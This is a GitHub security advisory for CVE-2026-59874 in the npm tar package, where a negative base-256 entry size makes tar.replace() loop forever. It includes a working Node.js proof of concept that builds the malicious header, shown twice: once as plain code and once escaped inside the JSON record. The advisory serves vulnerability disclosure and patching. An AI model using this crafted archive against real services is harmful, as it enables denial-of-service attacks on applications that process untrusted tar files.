GHSA-8X88-C5MF-7J5W
Vulnerability from github – Published: 2026-07-20 21:51 – Updated: 2026-07-20 21:51Summary
A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.
Details
The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.
Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.
For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.
This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.
PoC
Save as poc.mjs in a project with the vulnerable package installed and run:
node poc.mjs
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'
const oct = (b, n, off, len) =>
b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')
const badHeader = () => {
const h = Buffer.alloc(512)
h.write('x', 0)
oct(h, 0o644, 100, 8)
oct(h, 0, 108, 8)
oct(h, 0, 116, 8)
// base-256 encoded -512 in the size field
Buffer.alloc(10, 0xff).copy(h, 124)
h[134] = 0xfe
h[135] = 0x00
oct(h, 0, 136, 12)
h.fill(0x20, 148, 156)
h[156] = 0x30
h.write('ustar\0' + '00', 257, 8, 'binary')
let sum = 0
for (const c of h) sum += c
h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')
return h
}
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')
fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')
const r = spawnSync(
process.execPath,
[
'--input-type=module',
'-e',
`
import * as tar from 'tar'
tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
console.log('completed')
`,
],
{ timeout: 20_000 }
)
console.log(r.error?.code === 'ETIMEDOUT')
// Output: true
Impact
An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.17"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59874"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:51:39Z",
"nvd_published_at": "2026-07-08T16:16:33Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA checksum-valid tar archive with a negative base-256 encoded entry size can make `tar.replace()` loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.\n\n### Details\n\nThe public `tar.replace()` API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.\n\nTar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.\n\nFor a size of `-512`, the computed body skip is `-512`. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.\n\nThis is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.\n\n### PoC\n\nSave as `poc.mjs` in a project with the vulnerable package installed and run:\n\n```bash\nnode poc.mjs\n```\n\n```js\nimport fs from \u0027node:fs\u0027\nimport os from \u0027node:os\u0027\nimport path from \u0027node:path\u0027\nimport { spawnSync } from \u0027node:child_process\u0027\n\nconst oct = (b, n, off, len) =\u003e\n b.write(n.toString(8).padStart(len - 1, \u00270\u0027) + \u0027\\0\u0027, off, len, \u0027ascii\u0027)\n\nconst badHeader = () =\u003e {\n const h = Buffer.alloc(512)\n\n h.write(\u0027x\u0027, 0)\n oct(h, 0o644, 100, 8)\n oct(h, 0, 108, 8)\n oct(h, 0, 116, 8)\n\n // base-256 encoded -512 in the size field\n Buffer.alloc(10, 0xff).copy(h, 124)\n h[134] = 0xfe\n h[135] = 0x00\n\n oct(h, 0, 136, 12)\n h.fill(0x20, 148, 156)\n h[156] = 0x30\n h.write(\u0027ustar\\0\u0027 + \u002700\u0027, 257, 8, \u0027binary\u0027)\n\n let sum = 0\n for (const c of h) sum += c\n h.write(sum.toString(8).padStart(6, \u00270\u0027) + \u0027\\0 \u0027, 148, 8, \u0027ascii\u0027)\n\n return h\n}\n\nconst dir = fs.mkdtempSync(path.join(os.tmpdir(), \u0027tar-loop-\u0027))\nconst file = path.join(dir, \u0027poc.tar\u0027)\n\nfs.writeFileSync(file, badHeader())\nfs.writeFileSync(path.join(dir, \u0027add.txt\u0027), \u0027x\u0027)\n\nconst r = spawnSync(\n process.execPath,\n [\n \u0027--input-type=module\u0027,\n \u0027-e\u0027,\n `\n import * as tar from \u0027tar\u0027\n tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, [\u0027add.txt\u0027])\n console.log(\u0027completed\u0027)\n `,\n ],\n { timeout: 20_000 }\n)\n\nconsole.log(r.error?.code === \u0027ETIMEDOUT\u0027)\n\n// Output: true\n```\n\n### Impact\n\nAn application that calls `tar.replace()` on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.",
"id": "GHSA-8x88-c5mf-7j5w",
"modified": "2026-07-20T21:51:39Z",
"published": "2026-07-20T21:51:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59874"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar: Negative tar entry size causes infinite loop in archive replace"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.